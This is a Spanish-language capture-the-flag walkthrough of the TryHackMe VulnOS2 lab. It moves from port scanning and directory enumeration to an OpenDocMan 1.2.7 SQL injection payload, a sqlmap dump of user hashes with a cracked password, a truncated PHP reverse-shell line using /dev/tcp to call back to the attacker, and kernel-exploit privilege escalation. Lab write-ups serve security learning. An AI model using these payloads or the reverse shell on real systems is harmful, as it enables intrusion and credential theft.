TryHackMe - Vulnos2
MASSCAN && NMAP
Escaneo de puertos tcp/udp y servicios.root@kali:~/trymehack/vulnos2# masscan -p1-65535,U:1-65535 10.10.169.208 --rate=1000 -e tun0 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-09-19 03:46:19 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 22/tcp on 10.10.169.208 Discovered open port 80/tcp on 10.10.169.208 # Nmap 7.80 scan initiated Wed Sep 18 23:47:13 2019 as: nmap -sV -p- --min-rate 1000 -o nmap.scan 10.10.169.208 Warning: 10.10.169.208 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.169.208 Host is up (0.18s latency). Not shown: 65517 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 6667/tcp open irc ngircd 10337/tcp filtered unknown 12017/tcp filtered unknown 13034/tcp filtered unknown 13725/tcp filtered unknown 15125/tcp filtered unknown 27879/tcp filtered unknown 32710/tcp filtered unknown 33826/tcp filtered unknown 36395/tcp filtered unknown 36503/tcp filtered unknown 45704/tcp filtered unknown 46157/tcp filtered unknown 46605/tcp filtered unknown 49823/tcp filtered unknown 60384/tcp filtered unknown Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 18 23:49:32 2019 -- 1 IP address (1 host up) scanned in 139.20 seconds # Nmap 7.80 scan initiated Wed Sep 18 23:50:25 2019 as: nmap -sV -sC -p 22,80,6667 -o nmap_sv.scan 10.10.169.208 Nmap scan report for 10.10.169.208 Host is up (1.4s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA) | 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA) | 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA) |_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: VulnOSv2 6667/tcp open irc ngircd Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 18 23:50:59 2019 -- 1 IP address (1 host up) scanned in 34.28 seconds
WHATWEB
HTTP
Pagina en el puerto 80.DIRBUSTER
Realizamos una busqueda de direcotrios, archivos html y txt con dirbuster.root@kali:~/trymehack/vulnos2# gobuster dir -u http://10.10.169.208/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 15 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.169.208/ [+] Threads: 15 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php,html,txt [+] Timeout: 10s =============================================================== 2019/09/18 23:53:44 Starting gobuster =============================================================== /index.html (Status: 200) /index.html (Status: 200) /javascript (Status: 301) /server-status (Status: 403) =============================================================== 2019/09/18 23:58:34 Finished ===============================================================
HTTP - /jabc/
Encontramos dentro de la pagina principla un enlace que nos redirige hacia otra pagina.
Dentro de la pagina de Documentation a simple vista se ve que no hay contenido de esta pagina al analizar el codigo fuente de la pagina, observamos que existe texto oculto por razones de "seguridad". En el texto nos indica que para visitar la documentacion de la pagina visitemos /jabcd0cs/ e iniciemos sesion con guest/guest.
HTTP - /jabcd0cs/
Visitamos la pagina y nos muestra un panel para iniciar sesion.Al iniciar sesion en la plataforma nos muestra un panel de control.
Vemos que la plataforma es OpenDocMan v1.2.7.
OpenDocMan 1.2.7 - Multiple Vulnerabilities
Al investgar un poco mas acerca de esta plataforma encontramos que en especifico esta version de OpenDocMan tiene dos vulnerabilidades. La primera es una vulnerabilidad de Inyeccion de SQL y la segunda Improper Access Control.
SQL Injection - OpenDocMan 1.2.7
Comprobamos si la vulnerabilidad de SQLi esta presente en la plataforma con la url y parametros para ver el usuario (user()).
ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,user%28%29,3,4,5,6,7,8,9
Vemos que la vulnerabilidad esta presente ya que nos muestra el usuario. Para obtener los datos de la base de datos, utilizamos burpsuite para interceptar el trafico, guardamos el trafico del payload de SQLi de esta plataforma en un archivo response.req y utilizamos sqlmap con este archivo.
response.req
SQLMAP -
Comando:
sqlmap -r response.req --dbs
Database: jabcd0cs [15 tables] +-------------------+ | odm_access_log | | odm_admin | | odm_category | | odm_data | | odm_department | | odm_dept_perms | | odm_dept_reviewer | | odm_filetypes | | odm_log | | odm_odmsys | | odm_rights | | odm_settings | | odm_udf | | odm_user | | odm_user_perms | +-------------------+ Database: jabcd0cs Table: odm_user [2 entries] +----+-------------+--------------------+----------+----------------------------------+-----------+------------+------------+---------------+ | id | phone | Email | username | password | last_name | first_name | department | pw_reset_code | +----+-------------+--------------------+----------+----------------------------------+-----------+------------+------------+---------------+ | 1 | 5555551212 | webmin@example.com | webmin | b78aae356709f8c31118ea613980954b | min | web | 2 || | 2 | 555 5555555 | guest@example.com | guest | 084e0343a0486ff05530df6c705c8bb4 | guest | guest | 2 | NULL | +----+-------------+--------------------+----------+----------------------------------+-----------+------------+------------+---------------+
Utilizamos md5online.org para obtener la contraseña del hash md5 del usuario webadmin.
Credenciales:
webmin:webmin1980 guest:guest
SHELL - PHP
Ya que tenemos las credenciales de administrador regresamos a la pagina principal /jabc/ y visitamos el panel de inicio de sesion y utilizamos las credenciales (webmin:webmin1980), ya que tenemos control de las paginas habilitamos el modulo de PHP (PHP Filter), luego de esto agregamos codigo php con nuestra shell inversa a la pagina de 'Documentation'.
PHP Modulo:
Codigo PHP:
& /dev/tcp/10.8.1.72/1337 0>&1'"); ?>
Netcat:
Ponemos a la escucha nuestra maquina con netcat y el puerto 1337.
PRIVILEGE ESCALATION
Verificamos la version del kernel de la maquina y verificamos si existe un exploit para esa version con searchsploit.Version de Kernel:
Searchsploit:
Descargamos el exploit, lo compilamos y lo descargamos en la maquina, le damos permisos al archivo de ejecucion, ejecutamos el archivo y obtenemos permisos root.
Obtenemos nuestra flag en /root/flag.txt.


















